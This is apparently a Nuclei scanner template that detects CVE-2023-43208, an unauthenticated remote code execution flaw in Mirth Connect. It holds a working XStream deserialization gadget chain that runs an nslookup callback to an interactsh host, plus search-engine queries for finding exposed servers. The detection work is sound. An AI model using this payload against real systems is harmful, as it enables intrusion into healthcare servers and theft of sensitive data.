NextGen Healthcare Mirth Connect - Remote Code Execution

id: CVE-2023-43208

info:
  name: NextGen Healthcare Mirth Connect - Remote Code Execution
  author: princechaddha
  severity: critical
  description: Unauthenticated remote code execution vulnerability in NextGen Healthcare Mirth Connect before version 4.4.1.
  impact: |
    Successful exploitation could result in unauthorized access and potential compromise of sensitive data.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html
    - https://github.com/nvn1729/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43208
    epss-score: 0.96306
    epss-percentile: 0.99539
    cpe: cpe:2.3:a:nextgen:mirth_connect:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nextgen
    product: "mirth_connect"
    shodan-query:
      - "title:\"mirth connect administrator\""
      - http.title:"mirth connect administrator"
    fofa-query: "title=\"mirth connect administrator\""
    google-query: "intitle:\"mirth connect administrator\""
  tags: packetstorm,cve,cve2023,nextgen,rce,kev

http:
  - raw:
      - |
        GET /api/server/version HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: OpenAPI
      - |
        POST /api/users HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: OpenAPI
        Content-Type: application/xml

        <sorted-set>
          <string>abcd</string>
          <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
              <target class="org.apache.commons.collections4.functors.ChainedTransformer">
                <iTransformers>
                  <org.apache.commons.collections4.functors.ConstantTransformer>
                    <iConstant class="java-class">java.lang.Runtime</iConstant>
                  </org.apache.commons.collections4.functors.ConstantTransformer>
                  <org.apache.commons.collections4.functors.InvokerTransformer>
                    <iMethodName>getMethod</iMethodName>
                    <iParamTypes>
                      <java-class>java.lang.String</java-class>
                      <java-class>[Ljava.lang.Class;</java-class>
                    </iParamTypes>
                    <iArgs>
                      <string>getRuntime</string>
                      <java-class-array/>
                    </iArgs>
                  </org.apache.commons.collections4.functors.InvokerTransformer>
                  <org.apache.commons.collections4.functors.InvokerTransformer>
                    <iMethodName>invoke</iMethodName>
                    <iParamTypes>
                      <java-class>java.lang.Object</java-class>
                      <java-class>[Ljava.lang.Object;</java-class>
                    </iParamTypes>
                    <iArgs>
                      <null/>
                      <object-array/>
                    </iArgs>
                  </org.apache.commons.collections4.functors.InvokerTransformer>
                  <org.apache.commons.collections4.functors.InvokerTransformer>
                    <iMethodName>exec</iMethodName>
                    <iParamTypes>
                      <java-class>java.lang.String</java-class>
                    </iParamTypes>
                    <iArgs>
                      <string>nslookup {{interactsh-url}}</string>
                    </iArgs>
                  </org.apache.commons.collections4.functors.InvokerTransformer>
                </iTransformers>
              </target>
              <methodName>transform</methodName>
              <eventTypes>
                <string>compareTo</string>
              </eventTypes>
            </handler>
          </dynamic-proxy>
        </sorted-set>

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<4.4.1")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code_1 == 200 && status_code_2 == 500'
        condition: and

    extractors:
      - type: regex
        part: body_1
        name: version
        group: 1
        regex:
          - '(.*)'
        internal: true
# digest: 4a0a004730450220493bb6fcbb5b0e17a203c29515fb7d3e84813d5da8775cddf045269de8a6f97f02210084f1354002a9be79b69f4f76c3cba09bdc1c9110d7e8d0e99db5d1dbf1a37299:922c64590222798bb761d5b6d8e72950